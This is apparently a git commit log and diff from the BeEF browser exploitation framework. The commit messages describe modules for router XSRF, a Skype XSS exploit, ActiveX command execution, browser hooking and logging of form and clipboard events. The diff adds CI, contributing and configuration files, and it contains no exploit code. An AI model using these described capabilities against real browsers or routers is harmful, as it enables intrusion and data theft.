46a19ee0b9 Updated lynksys_wrt54g_xsrf (second one) to use the new beef.dom.createIframeXsrfForm JS api 2012-05-09 14:39:18 +01:00
antisnatchor
f361e2ac78 Updated lynksys_wrt54g_xsrf to use the new beef.dom.createIframeXsrfForm JS api 2012-05-09 14:35:53 +01:00
antisnatchor
f84d34ab86 Updated dlink_dsl500t_xsrf to use the new beef.dom.createIframeXsrfForm JS api 2012-05-09 14:26:05 +01:00
antisnatchor
4faf75f1f1 Updated bt_home_hub_xsrf to use the new beef.dom.createIframeXsrfForm JS api 2012-05-09 14:20:12 +01:00
antisnatchor
ef492dd19b Merge remote-tracking branch 'origin/master' 2012-05-09 14:08:11 +01:00
antisnatchor
e426b3fb13 Added iframe XSRF form in beef.dom (Fixes issue 104) 2012-05-09 14:07:13 +01:00
vt
4123bb5f5d add clippy files 2012-05-09 23:38:21 +12:00
Ben Waugh
95cc1ac2d6 Revert "Revert "Revert "Undated Installed to include disclaimer and exit option"""
This reverts commit 70f70a339f.
2012-05-09 11:42:32 +10:00
Ben Waugh
70f70a339f Revert "Revert "Undated Installed to include disclaimer and exit option""
This reverts commit 13c75e87c9.
2012-05-09 11:42:30 +10:00
Ben Waugh
13c75e87c9 Revert "Undated Installed to include disclaimer and exit option"
This reverts commit ff0dd7e9e2.
2012-05-09 11:42:26 +10:00
Ben Waugh
ff0dd7e9e2 Undated Installed to include disclaimer and exit option 2012-05-09 11:40:43 +10:00
antisnatchor
6f293ba866 Added dynamic module loading in the configuration object 2012-05-08 16:33:10 +01:00
bcoles
a62b77cc1d Updated introduction of public port settings
These settings are experimental
2012-05-07 18:26:27 +09:30
Brendan Coles
f221f93ebb Merge pull request #652 from ebababi/master
Introduce public port setting
2012-05-07 01:09:22 -07:00
Ben Waugh
6383f8670b Install Script
Script to install prerequisites for OSX/Debian/RHEL, download latest
Beef script, install required gems and start beef
2012-05-06 11:46:28 +10:00
Wade Alcorn
e88be79134 Updated demo page 2012-05-06 06:11:44 +10:00
Wade Alcorn
821ebf0a14 Merge branch 'master' of github.com:beefproject/beef 2012-05-04 11:56:14 +10:00
Ben Waugh
e3e4a44ae7 Bug Fixes for CDE Task 2012-05-04 09:41:12 +10:00
Ben Waugh
f566a00fdf fix to cde script
removed non-ascii char
2012-05-04 08:09:58 +10:00
Ben Waugh
1cf980f06e Added CDE Task to Rakefile
Initial CDE Generator script, will clone latest CDE package, make, then
create beef cde Package
2012-05-04 07:21:57 +10:00
Wade Alcorn
c61aae0949 Merge branch 'master' of github.com:beefproject/beef 2012-05-03 18:43:57 +10:00
bcoles
99d47351b7 Patched newline issue in request() in net.js
See commit c3435ee345 for more info
2012-05-03 15:54:46 +09:30
bcoles
53c6fb5252 Fixed typo in module name/category 2012-05-03 15:32:53 +09:30
antisnatchor
72ba526cbc merged changes of net.js to fix the requester/tunneling proxy 2012-05-02 14:28:30 +03:00
antisnatchor
9e9700f34a Merge remote-tracking branch 'origin/master' 2012-05-02 14:26:08 +03:00
antisnatchor
c3435ee345 Fixed a nasty bug in net.js forgeRequest. Stripping line breaks from request domain: prevented the requester/tunneling proxy to work (always cross-domain fails) 2012-05-02 14:25:31 +03:00
antisnatchor
2c19a3a8d8 Fixed issue when hooking a browser that contains other cookies than BEEFHOOK. now "alive" send back only the BeEF session value 2012-05-02 14:01:04 +03:00
antisnatchor
9ae0929a8c Merge remote-tracking branch 'upstream/master' 2012-05-02 13:04:51 +03:00
bcoles
b78390cd39 Added Google Search module 2012-05-02 18:42:18 +09:30
Wade Alcorn
335adbdc15 Merge branch 'master' of github.com:beefproject/beef 2012-05-01 16:52:32 +10:00
bcoles
d3f8b45f21 Moved ajax_fingerprint from 'host' to 'hooked browser' category 2012-05-01 08:54:41 +09:30
Wade Alcorn
aedfe0f9a5 Merge branch 'master' of github.com:beefproject/beef 2012-05-01 05:15:34 +10:00
antisnatchor
6ff34953d9 Added Leffe beer can handler. commented for now. 2012-04-30 10:14:59 +01:00
bcoles
8b3e032ad1 Removed debug info from ajax_fingerprint module
For real this time
2012-04-30 16:04:20 +09:30
bcoles
004b3c15ce Removed debug info from ajax_fingerprint module 2012-04-30 16:02:27 +09:30
Wade Alcorn
dc269b15b1 Version updated 2012-04-30 15:10:54 +10:00
bcoles
3dadf4406b Removed Gemfile.lock 2012-04-30 14:03:34 +09:30
Brendan Coles
215ddd9cf5 Merge pull request #665 from qswain2/master
Added a module to fingerprint ajax
2012-04-29 22:03:52 -07:00
qswain2
958ddb4845 Added Ajax fingerprint module 2012-04-30 00:39:39 -04:00
bcoles
05deaaa8b5 Added Module: ActiveX Command Execution 2012-04-27 14:15:52 +09:30
bcoles
75cf67a6c4 Re-categorized some modules
Fixed a couple of typos
2012-04-27 10:35:17 +09:30
bcoles
d3005850d7 Updated supported browser list for several modules
Added a few hostnames to the DNS Enumeration modules
2012-04-26 20:07:45 +09:30
bcoles
a8e3d125d4 Added Module: Get Chrome Extensions
Fixes issue #660
2012-04-26 19:10:16 +09:30
Wade Alcorn
73bd6ab624 Added boilerplate to files with missing boilerplate 2012-04-24 18:00:15 +10:00
bcoles
923921b92b Added skeleton for custom hooks
Part of issue #101
2012-04-23 19:33:19 +09:30
bcoles
fa59e633b0 Popunder window now loads a plain page 2012-04-23 17:36:25 +09:30
bcoles
b5b5f0cd1a Fixed bug in IE version detection 2012-04-23 14:44:03 +09:30
antisnatchor
37c5edf2c2 Added strict doctype for /demos/basic.html page 2012-04-22 13:23:48 +01:00
antisnatchor
6cb8eb68fe Fixed bug on IE9 detection 2012-04-22 13:17:55 +01:00
Graziano Felline
97c2649e36 Corrected issues on IE browser (IE8 IE9) to check IE6 -IE7
Corrected Issues whit character encoding
2012-04-20 19:17:34 +02:00
antisnatchor
9835b0907d Merge branch 'master' of https://github.com/beefproject/beef 2012-04-20 14:47:45 +01:00
antisnatchor
f63240d3cb Added /api/hooks/:session RESTful api call in order to retrieve the full BrowserDetails for the hooked browser. 2012-04-20 14:46:46 +01:00
antisnatchor
5a345abfab Added print_info when unmounting a url (assethandler) 2012-04-20 14:08:08 +01:00
bcoles
a6b338e6c4 Added timeout variable decleration to get_internal_ip module 2012-04-20 22:34:34 +09:30
antisnatchor
217edee831 Added get_internal_ip module (uses an unsigned applet). Fix issue 576 2012-04-20 13:59:58 +01:00
antisnatchor
f8cd395e21 Added additional check on pathname for XssRays Issue 657 2012-04-20 11:40:28 +01:00
Graziano Felline
c83e7d584e Now the Alive check is by ws Timer 5 second
Tested And work
2012-04-19 19:30:19 +02:00
antisnatchor
f697e92c95 Decresed default XssRays iframe removal timeout, enhanced comments 2012-04-19 18:10:17 +01:00
antisnatchor
de68a00c75 Fix issue 658: removed content-type response header when replying to a successful founded Ray vector 2012-04-19 18:09:17 +01:00
antisnatchor
cf3587e2b1 Fix issue 657: the damn IE doesn't contain a forward slash on pathname 2012-04-19 18:08:16 +01:00
antisnatchor
b41c6e8559 Catched JSON::ParserError exception when a client abruptly disconnects (i.e.: closing the browser manually, or the hooked tab) 2012-04-18 16:56:43 +01:00
antisnatchor
6f73dd6a82 Merge remote-tracking branch 'upstream/master'
Conflicts:
	config.yaml
2012-04-18 15:27:22 +01:00
antisnatchor
cecd6cb14a Slightly changed comments on websocket.rb 2012-04-18 15:19:34 +01:00
antisnatchor
43f82b0c72 Removed not needed line 2012-04-18 14:41:49 +01:00
antisnatchor
d1e23c2084 Updated admin_ui and console extensions code to reflect the move of initialization extension into the core. 2012-04-18 14:37:44 +01:00
antisnatchor
cd4fce7887 Moved initialization extension into the core. BrowserDetails are a vital component of BeEF. There is no reason to don't have it in the core. 2012-04-18 12:54:48 +01:00
antisnatchor
8a3fadb5f8 removed test jenkind line 2012-04-18 12:04:37 +01:00
Graziano Felline
656262c0f4 Basic response recv system implemented
todo ping-pong for alive host. thread's content is  in websocket.rb
todo setting up a separate handler for via ws answer's
2012-04-18 12:00:17 +02:00
antisnatchor
6f57d563ea Jenkins test 2012-04-16 18:02:42 +01:00
antisnatchor
66dbf871f1 Added test for test_network_request using the API. 2012-04-15 15:09:26 +01:00
antisnatchor
54e244013b Removed response= variable from test_network_request module response. NOt needed. 2012-04-15 15:08:42 +01:00
antisnatchor
8f05a403ee Added Test_return_ascii_chars Debug module test using the API. 2012-04-15 13:45:24 +01:00
antisnatchor
98807ae9a3 Added RESTful API tests for /api/auth, /api/hooks, /api/modules. Added Test_return_long_string Debug module test using the API :D 2012-04-15 13:22:35 +01:00
antisnatchor
3ebe44732b Added beef.module.key.class to /api/module JSON response. 2012-04-15 12:54:04 +01:00
antisnatchor
8feef887b9 Fixed issue with malformed JSON response (missing }). No using hash.to_json to send response. 2012-04-15 11:56:00 +01:00
antisnatchor
364575592a Moved BeEF credentials from admin_ui extension to the main config.yaml. Updated both admin_ui and RESTful API to reflect the changes. 2012-04-15 10:53:08 +01:00
Christian Frichot
49af6ad443 Merge branch 'RESTenhance' 2012-04-15 16:44:05 +08:00
Christian Frichot
79a7dd3e88 RESTful Admin API Class now includes a LOGIN method 2012-04-15 16:38:38 +08:00
Christian Frichot
321a63b148 Placeholder admin RESTful API class 2012-04-15 07:24:56 +08:00
Christian Frichot
44e9871503 RESTful API now obeys permitted_ui_subnet 2012-04-15 07:24:17 +08:00
antisnatchor
2198c69aa8 Merge remote-tracking branch 'upstream/master'. Fixed conflicts on config.yaml. 2012-04-14 20:44:17 +01:00
Graziano Felline
2755c6449c Deleted some stuff that does not work correctly in old browser (IE 8)
Better check for FF
Cleand up inside the code
2012-04-14 19:42:53 +02:00
antisnatchor
185b1be30f Fixed issue with command execution. Now commands are executed correctly via WebSocket. 2012-04-13 13:35:29 +01:00
Graziano Felline
65138db207 Commands are now sent through websocket
Trouble with eval function in websocket.js
2012-04-13 12:45:48 +02:00
Graziano Felline
23f782b8d8 Hook.js load websocket.js only if specifield in beef configuration file
if websocket is disabled all work normally
 if websocket is enabled have trouble in command.rb
2012-04-12 19:01:49 +02:00
bcoles
e52b5101ee Updated logo location
The favicon is not located at /favicon.ico if web server immitation is enabled
2012-04-12 17:20:20 +09:30
bcoles
0c0027e06f Event Logger now logs form submissions
Fixes issue #141
2012-04-12 12:27:28 +09:30
Graziano Felline
af9b3c97b5 Added polling stop if websocket is up in updater.js
added hash for websocket in websocket.rb
added check for websocket existence in command.rb and net.js
added a POC onmessage function in websocket.js
added check for websocket support in init.js
added a POC send to send command output to server in beef.js
2012-04-11 20:52:47 +02:00
bcoles
6af55c7e33 Event Logger now logs clipboard events (in IE6 only)
Fixes issue# 653

Tidied up the 'submit' handler a bit. Part of issue #141
2012-04-11 14:06:56 +09:30
antisnatchor
2b77416226 Issue 654: the main hook handler now extends the Router class 2012-04-09 12:26:57 +01:00
antisnatchor
dd2e522ce4 Issue 654: the XssRays handler is now extending the Router class 2012-04-09 11:36:35 +01:00
antisnatchor
22772c7822 Issue 654: the RESTful api classes are now extending the Router class 2012-04-09 11:16:21 +01:00
antisnatchor
8cac63a2f0 Issue 654: if /dh handler is called without params, return 404 2012-04-09 11:03:02 +01:00
antisnatchor
c60825faae Issue 654: adjusted DynamicReconstruction handler to extend the Router class 2012-04-09 10:33:23 +01:00
Graziano Felline
302512e172 Added FF11 support 2012-04-08 13:21:12 +02:00
Graziano Felline
85b3a59441 The connection and helo to server correctly work. 2012-04-08 12:46:57 +02:00
Wade Alcorn
3d80a952ae Version number updated 2012-04-08 16:07:22 +10:00
antisnatchor
8f7caff30f changed websocket.js structure with closures. 2012-04-07 14:19:56 +01:00
antisnatchor
296d0161c9 fixed issue with FF detectionon websockets 2012-04-07 13:48:10 +01:00
antisnatchor
b08326ebcc fixed typo in ws.receive 2012-04-07 13:41:58 +01:00
antisnatchor
552beb4ccd changed allowed origins to ALL 2012-04-07 13:40:18 +01:00
antisnatchor
faae01a9aa Changed default websocket port 2012-04-07 13:34:21 +01:00
Graziano Felline
ce8919297f Merge remote-tracking branch 'origin/master'
Conflicts:
	core/main/network_stack/websocket/websocket.rb
2012-04-07 14:21:41 +02:00
Graziano Felline
bcd0ff154f Added websocket.js in beefjs.rb 2012-04-07 14:20:47 +02:00
antisnatchor
fe588cd2a0 Merge branch 'master' of https://github.com/radoen/beef-radoen
Conflicts:
	core/main/network_stack/websocket/websocket.rb
2012-04-07 13:07:17 +01:00
Graziano Felline
e1134e2fa6 Thread for websocket 2012-04-07 14:01:37 +02:00
antisnatchor
a5504a5b11 Printing nice print_into about the websocket 2012-04-07 12:59:24 +01:00
antisnatchor
64cee24c65 Added WebSocket config options for enable, secure and port 2012-04-07 12:46:57 +01:00
antisnatchor
236c8a81b6 Fixed issue with lib loading and WebSocket server initalization 2012-04-07 12:31:37 +01:00
Graziano Felline
15ca7777bb Inserted module in bootstrap 2012-04-07 13:00:40 +02:00
Graziano Felline
d3e2e1eb30 Inserted module in bootstrap 2012-04-07 12:56:06 +02:00
Graziano Felline
736c81573e Setting up structures and server/client environment.
A lot of TODO
2012-04-06 02:21:40 +02:00
bcoles
cce8cf451c Added XssRays vectors:
o URL encoded
	o Double URL encoded
	o Double nibble URL encoded

Fixes issue #65

Part of issue #47
2012-04-05 14:26:30 +09:30
bcoles
f852b87b2b Added detection for Chrome 18 and 19 2012-04-05 12:45:10 +09:30
Michele Orru
4e1a283736 Merge pull request #656 from tmacuk/master
Added IIS imitation default root page, thanks to @tmacuk
2012-04-04 13:33:23 -07:00
Thomas Mackenzie
e168a05936 added pageerror logo for iis imitation 2012-04-04 20:04:31 +01:00
Thomas Mackenzie
e76f301593 added iis imitation construction page 2012-04-04 18:39:56 +01:00
antisnatchor
67d024441d Added Apache/Centos images for the default root page (web server imitation) 2012-04-04 16:45:39 +01:00
antisnatchor
616b969f96 added todo for IIS 6 default root page (web server imitation) 2012-04-04 16:42:42 +01:00
antisnatchor
0067e20702 Changed HTTP response 'server' header to IIS/6 when iis is specified. 2012-04-04 16:41:15 +01:00
antisnatchor
870a182411 Added HTTP response with default Apache centos root page (web server imitation). 2012-04-04 16:33:32 +01:00
antisnatchor
f5a77a63eb Prevent to mount the favicon.ico if we're imitating a web server. 2012-04-04 16:06:19 +01:00
antisnatchor
454280f7de Adjusted errors and default returns for the web server imitation. 2012-04-04 16:05:52 +01:00
antisnatchor
6bebb80f61 Added default 404 HTTP response bodies for Apache 2.2.3 and IIS 6 2012-04-04 15:47:21 +01:00
Nikolaos Anastopoulos
e4d4edba75 Public port setting affects URI scheme 2012-03-23 20:42:12 +02:00
Nikolaos Anastopoulos
3d26782125 Added public port setting to server configuration 2012-03-23 15:09:46 +02:00
Saafan
a5e7823588 Adding the JS code of the Skype XSS exploit 2012-03-10 20:46:04 +02:00
asaafan
8c74fdd680 Adding branch for Skype XSS module 2012-03-09 01:55:44 +02:00
asaafan
f10cf3eb5b Delete Skype XSS stub from main branch 2012-03-09 01:53:07 +02:00
asaafan
1333e48d3a Merge branch 'master' of https://github.com/beefproject/beef 2012-03-09 01:51:18 +02:00
unknown
006719768a Adding stub for Skype XSS module 2012-03-09 01:38:37 +02:00
2103 changed files with 229032 additions and 36478 deletions

3
.bundle/config Normal file
View File

@@ -0,0 +1,3 @@
---
BUNDLE_WITHOUT: "development:test"
BUNDLE_WITH: "geoip:ext_msf:ext_notifications:ext_dns:ext_qrcode"

8
.dockerignore Normal file
View File

@@ -0,0 +1,8 @@
# Don't copy over git files
.git
.github
.gitignore
doc
docs
test
update-beef

84
.github/CONTRIBUTING.md vendored Normal file
View File

@@ -0,0 +1,84 @@
# Contributing
### Anyone is welcome to make BeEF better!
Thank you for wanting to contribute to BeEF. It's effort like yours that helps make BeEF such a great tool.
Following these guidelines shows that you respect the time of the developers developing this open source project and helps them help you. In response to this, they should return that respect in addressing your issue, assisting with changes, and helping you finalize your pull requests.
### We want any form of helpful contributions!
BeEF is an open source project and we love to receive contributions from the community! There are many ways to contribute, from writing tutorials or blog posts, improving or translating the documentation, answering questions on the project, submitting bug reports and feature requests or writing or reviewing code which can be merged into BeEF itself.
# Ground Rules
### Responsibilities
> * When making an issue, ensure the issue template is filled out, failure to do so can and will result in a closed ticket and a delay in support.
> * We now have a two-week of unresponsiveness period before closing a ticket, if this happens, just comment responding to the issue which will re-open the ticket. Ensure to make sure all information requested is provided.
> * Ensure cross-platform compatibility for every change that's accepted. Mac and Linux are currently supported.
> * Create issues for any major changes and enhancements that you wish to make. Discuss things transparently and get community feedback.
> * Ensure language is as respectful and appropriate as possible.
> * Keep merges as straightforward as possible, only address one issue per commit where possible.
> * Be welcoming to newcomers and try to assist where possible, everyone needs help.
# Where to start
### Looking to make your first contribution
Unsure where to begin contributing to BeEF? You can start by looking through these issues:
* Good First Issue - issues which should only require a few changes, and are good to start with.
* Question - issues which are a question and need a response. A good way to learn more about BeEF is to try to solve a problem.
At this point, you're ready to make your changes! Feel free to ask for help; everyone is a beginner at first.
If a maintainer asks you to "rebase" your PR, they're saying that code has changed, and that you need to update your branch so it's easier to merge.
### Ruby best practise
Do read through: https://rubystyle.guide
Try and follow through with the practices throughout, even going through it once will help keep the codebase consistent.
Use Rubocop to help ensure that the changes adhere to current standards, we are currently catching up old codebase to match.
Just run the following in the /beef directory.
> rubocop
# Getting started
### How to submit a contribution.
1. Create your own fork of the code
2. Checkout the master branch
> git checkout master
3. Create a new branch for your feature
> git checkout -b my-cool-new-feature
4. Add your new files
> git add modules/my-cool-new-module
5. Modify or write a test case/s in Rspec for your changes
6. Commit your changes with a relevant message
> git commit
7. Push your changes to GitHub
> git push origin my-cool-new-feature
8. Run all tests again to make sure they all pass
9. Edit existing wiki page / add a new one explaining the new features, including:
- sample usage (command snippets, steps and/or screenshots)
- internal working (code snippets & explanation)
10. Now browse to the following URL and create your pull request from your fork to beef master
- Fill out the Pull Request Template
- https://github.com/beefproject/beef/pulls
# How to report a bug
If you find a security vulnerability, do NOT open an issue. Email security@beefproject.com instead.
When the security team receives a security bug email, they will assign it to a primary handler.
This person will coordinate the fix and release process, involving the following steps:
* Confirm the problem and find the affected versions.
* Audit code to find any potential similar problems.
* Prepare fixes

37
.github/ISSUE_TEMPLATE/bug_report.md vendored Normal file
View File

@@ -0,0 +1,37 @@
---
name: Bug report
about: Report a bug to help us improve BeEF
---
## First Steps
1. Confirm that your issue has not been posted previously by searching here: https://github.com/beefproject/beef/issues
2. Confirm that the wiki does not contain the answers you seek: https://github.com/beefproject/beef/wiki
3. Check the FAQ: https://github.com/beefproject/beef/wiki/FAQ
4. BeEF Version:
5. Ruby Version:
6. Browser Details (e.g. Chrome v81.0):
7. Operating System (e.g. OSX Catalina):
## Configuration
1. Have you made any changes to your BeEF configuration? Yes/No
2. Have you enabled or disabled any BeEF extensions? Yes/No
## Steps to Reproduce
1. (eg. I ran install script, which ran fine)
2. (eg. when launching console with './beef' I get an error as follows: <error here>)
3. (eg. beef does not launch)
## How to enable and capture detailed logging
1. Edit `config.yaml` in the root directory
* If using Kali **beef-xss** the root dir will be `/usr/share/beef-xss`
2. Update `client_debug` to `true`
3. Retrieve browser logs from your browser's developer console (Ctrl + Shift + I or F12 depending on browser)
4. Retrieve your server-side logs from `~/.beef/beef.log`
* If you have a kali (beef-xss) problem, you can submit a bug here:
https://www.kali.org/docs/community/submitting-issues-kali-bug-tracker/
**If we request additional information and we don't hear back from you within a week, we will be closing the ticket off.**

5
.github/ISSUE_TEMPLATE/config.yml vendored Normal file
View File

@@ -0,0 +1,5 @@
blank_issues_enabled: false
contact_links:
- name: Questions / Support
url: https://github.com/beefproject/beef/wiki
about: Please check the wiki before opening an issue.

20
.github/PULL_REQUEST_TEMPLATE.md vendored Normal file
View File

@@ -0,0 +1,20 @@
# Pull Request
Thanks for submitting a PR! Please fill in this template where appropriate:
## Category
*e.g. Bug, Module, Extension, Core Functionality, Documentation, Tests*
## Feature/Issue Description
**Q:** Please give a brief summary of your feature/fix
**A:**
**Q:** Give a technical rundown of what you have changed (if applicable)
**A:**
## Test Cases
**Q:** Describe your test cases, what you have covered and if there are any use cases that still need addressing.
**A:**
## Wiki Page
*If you are adding a new feature that is not easily understood without context, please draft a section to be added to the Wiki below.*

9
.github/SECURITY.md vendored Normal file
View File

@@ -0,0 +1,9 @@
send security bug reports to security@beefproject.com
**A security report should include:**
1. Description of the problem (what it is, what's the impact)
2. Technical steps to replicate it (commands / screenshots)
3. Actionable fix/recommendations to mitigate the issue

25
.github/dependabot.yml vendored Normal file
View File

@@ -0,0 +1,25 @@
version: 2
updates:
- package-ecosystem: npm
directory: "/"
schedule:
interval: daily
open-pull-requests-limit: 10
ignore:
- dependency-name: jsdoc-to-markdown
versions:
- 7.0.0
- package-ecosystem: bundler
directory: "/"
schedule:
interval: daily
open-pull-requests-limit: 10
ignore:
- dependency-name: rubocop
versions:
- 1.10.0
- 1.11.0
- 1.12.0
- 1.12.1
- 1.9.0
- 1.9.1

72
.github/workflows/codeql.yml vendored Normal file
View File

@@ -0,0 +1,72 @@
# For most projects, this workflow file will not need changing; you simply need
# to commit it to your repository.
#
# You may wish to alter this file to override the set of languages analyzed,
# or to provide custom queries or build logic.
#
# ******** NOTE ********
# We have attempted to detect the languages in your repository. Please check
# the `language` matrix defined below to confirm you have the correct set of
# supported CodeQL languages.
#
name: "CodeQL"
on:
push:
branches: [ master ]
pull_request:
# The branches below must be a subset of the branches above
branches: [ master ]
schedule:
- cron: '36 1 * * 0'
jobs:
analyze:
name: Analyze
runs-on: ubuntu-latest
permissions:
actions: read
contents: read
security-events: write
strategy:
fail-fast: false
matrix:
language: [ 'javascript', 'ruby' ]
# CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python', 'ruby' ]
# Learn more about CodeQL language support at https://aka.ms/codeql-docs/language-support
steps:
- name: Checkout repository
uses: actions/checkout@v3
# Initializes the CodeQL tools for scanning.
- name: Initialize CodeQL
uses: github/codeql-action/init@v2
with:
languages: ${{ matrix.language }}
# If you wish to specify custom queries, you can do so here or in a config file.
# By default, queries listed here will override any specified in a config file.
# Prefix the list here with "+" to use these queries and those in the config file.
# Details on CodeQL's query packs refer to : https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs
queries: security-extended,security-and-quality
# Autobuild attempts to build any compiled languages (C/C++, C#, or Java).
# If this step fails, then you should remove it and run the build manually (see below)
# - name: Autobuild
# uses: github/codeql-action/autobuild@v2
# Command-line programs to run using the OS shell.
# 📚 See https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun
# If the Autobuild fails above, remove it and uncomment the following three lines.
# modify them (or add more) to build your code if your project, please refer to the EXAMPLE below for guidance.
# - run: |
# echo "Run, Build Application using script"
# ./location_of_script_within_repo/buildscript.sh
- name: Perform CodeQL Analysis
uses: github/codeql-action/analyze@v2

View File

@@ -0,0 +1,26 @@
name: Dependabot auto-merge
on:
pull_request:
branches:
- master
permissions:
contents: write
pull-requests: write
jobs:
dependabot:
runs-on: ubuntu-latest
if: github.event.pull_request.user.login == 'dependabot[bot]' && github.repository == 'beefproject/beef'
steps:
- name: Dependabot metadata
id: metadata
uses: dependabot/fetch-metadata@v2
with:
github-token: "${{ secrets.GITHUB_TOKEN }}"
- name: Enable auto-merge for Dependabot PRs
if: success() && (steps.metadata.outputs.update-type == 'version-update:semver-minor' || steps.metadata.outputs.update-type == 'version-update:semver-patch')
run: gh pr merge --auto --merge "$PR_URL"
env:
PR_URL: ${{ github.event.pull_request.html_url }}
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}

79
.github/workflows/github_actions.yml vendored Normal file
View File

@@ -0,0 +1,79 @@
name: 'BrowserStack Test'
on:
pull_request_target:
branches: [ master ]
types: [ labeled, opened, synchronize ]
jobs:
ubuntu-job:
name: 'BrowserStack Test on Ubuntu'
runs-on: ubuntu-latest
if: |
github.event.label.name == 'safe_to_test' ||
github.event.pull_request.user.login == 'dependabot[bot]'
env:
GITACTIONS: true
steps:
- name: 'Remove safe_to_test label'
if: github.event.label.name == 'safe_to_test'
uses: actions/github-script@v8
with:
script: |
try {
await github.rest.issues.removeLabel({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: context.payload.pull_request.number,
name: 'safe_to_test'
});
} catch (e) {
if (e.status === 404) {
console.log('Label already removed, skipping');
} else {
throw e;
}
}
- name: 'BrowserStack Env Setup' # Invokes the setup-env action
uses: browserstack/github-actions/setup-env@master
with:
username: ${{ secrets.BROWSERSTACK_USERNAME }}
access-key: ${{ secrets.BROWSERSTACK_ACCESS_KEY }}
- name: 'BrowserStack Local Tunnel Setup' # Invokes the setup-local action
uses: browserstack/github-actions/setup-local@master
with:
local-testing: start
local-identifier: random
- name: 'Checkout the repository'
uses: actions/checkout@v6
with:
ref: ${{ github.event.pull_request.head.sha }}
fetch-depth: 2
- name: 'Setting up Ruby'
uses: ruby/setup-ruby@v1
# Ruby version is defined in .ruby-version file
- name: 'Update and Install Dependencies'
run: |
sudo apt update
sudo apt install libcurl4 libcurl4-openssl-dev
- name: 'Configure Bundle testing and install gems'
run: |
bundle config unset --local without
bundle config set --local with 'test' 'development'
bundle install
- name: 'Run BrowserStack simple verification'
run: |
bundle exec rake browserstack --trace
- name: 'BrowserStackLocal Stop' # Terminating the BrowserStackLocal tunnel connection
uses: browserstack/github-actions/setup-local@master
with:
local-testing: stop

35
.github/workflows/stale.yml vendored Normal file
View File

@@ -0,0 +1,35 @@
# This workflow warns and then closes issues and PRs that have had no activity for a specified amount of time.
#
# You can adjust the behavior by modifying this file.
# For more information, see:
# https://github.com/actions/stale
name: Mark stale issues and pull requests
on:
schedule:
- cron: '5 * * * *'
jobs:
stale:
runs-on: ubuntu-latest
permissions:
issues: write
pull-requests: write
steps:
- uses: actions/stale@28ca1036281a5e5922ead5184a1bbf96e5fc984e # v10.0.0
with:
repo-token: ${{ secrets.GITHUB_TOKEN }}
days-before-stale: 120
days-before-pr-stale: 29
days-before-close: 7
days-before-pr-close: 31
stale-issue-message: 'This issue has been marked as stale due to inactivity and will be closed in 7 days'
stale-pr-message: 'Stale pull request message'
stale-issue-label: 'Stale'
stale-pr-label: 'no-pr-activity'
exempt-issue-labels: 'Critical, High, Low, Medium, Review, Backlog'
exempt-all-milestones: true
exempt-draft-pr: true
start-date: '2022-06-15T00:00:00Z'

135
.gitignore vendored
View File

@@ -1,3 +1,136 @@
### BeEF ###
beef.db
beef.db-shm
beef.db-wal
beef.log
test/msf-test
custom-config.yaml
extensions/admin_ui/media/javascript-min/
custom-config.yaml
.DS_Store
.gitignore
.rvmrc
beef.log
extensions/metasploit/msf-exploits.cache
# ruby debugging
.byebug_history
# Bundler
/.bundle
/vendor
#simplecov
coverage/
# BrowserStack
local.log
# Visual Studio Code
.vscode/
# The following lines were created by https://www.gitignore.io
### Linux ###
*~
# KDE directory preferences
.directory
### vim ###
[._]*.s[a-w][a-z]
[._]s[a-w][a-z]
*.un~
Session.vim
.netrwhist
*~
### Emacs ###
# -*- mode: gitignore; -*-
*~
\#*\#
/.emacs.desktop
/.emacs.desktop.lock
*.elc
auto-save-list
tramp
.\#*
# Org-mode
.org-id-locations
*_archive
# flymake-mode
*_flymake.*
# eshell files
/eshell/history
/eshell/lastdir
# elpa packages
/elpa/
# reftex files
*.rel
# AUCTeX auto folder
/auto/
# cask packages
.cask/
### nanoc ###
# For projects using nanoc (http://nanoc.ws/)
# Default location for output, needs to match output_dir's value found in config.yaml
output/
# Temporary file directory
tmp/
# Crash Log
crash.log
### Windows ###
# Windows image file caches
Thumbs.db
ehthumbs.db
# Folder config file
Desktop.ini
# Recycle Bin used on file shares
$RECYCLE.BIN/
# Windows Installer files
*.cab
*.msi
*.msm
*.msp
# Windows shortcuts
*.lnk
### TortoiseGit ###
# Project-level settings
/.tgitconfig
test/thirdparty/msf/unit/.byebug_history
/load
### JSDoc ###
# Dependency directories
node_modules/
# Generated files
out/
doc/rdoc/
# Secrets for testing github actions locally
.secrets

4
.rspec Normal file
View File

@@ -0,0 +1,4 @@
--format documentation
--color
--require spec_helper
-I .

42
.rubocop.yml Normal file
View File

@@ -0,0 +1,42 @@
AllCops:
Exclude:
- 'test/**/*'
- 'tmp/**/*'
- 'tools/**/*'
- 'doc/**/*'
TargetRubyVersion: <%= File.read(".ruby-version").strip[/^(\d+\.\d+)/, 1] || raise("Ruby version not found") %>
NewCops: enable
Layout/LineLength:
Enabled: true
Max: 180
Metrics/AbcSize:
Enabled: false
Metrics/BlockLength:
Enabled: false
Metrics/ClassLength:
Enabled: false
Metrics/MethodLength:
Enabled: false
Metrics/ModuleLength:
Enabled: false
Metrics/PerceivedComplexity:
Enabled: false
Metrics/CyclomaticComplexity:
Enabled: false
Naming/ClassAndModuleCamelCase:
Enabled: false
Style/FrozenStringLiteralComment:
Enabled: false
Style/Documentation:
Enabled: false

1
.ruby-gemset Normal file
View File

@@ -0,0 +1 @@
beef

1
.ruby-version Normal file
View File

@@ -0,0 +1 @@
3.4.7

109
Dockerfile Normal file
View File

@@ -0,0 +1,109 @@
#
# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
###########################################################################################################
###########################################################################################################
## ##
## Please read the Wiki Installation section on set-up using Docker prior to building this container. ##
## BeEF does NOT allow authentication with default credentials. So please, at the very least ##
## change the username:password in the config.yaml file to something secure that is not beef:beef ##
## before building or you will be denied access and have to rebuild anyway. ##
## ##
###########################################################################################################
###########################################################################################################
# ---------------------------- Start of Builder 0 - Gemset Build ------------------------------------------
FROM ruby:3.4.7-slim-bookworm AS builder
COPY . /beef
# Set gemrc config to install gems without Ruby Index (ri) and Ruby Documentation (rdoc) files.
# Then add bundler/gem dependencies and install.
# Finally change permissions of bundle installs so we don't need to run as root.
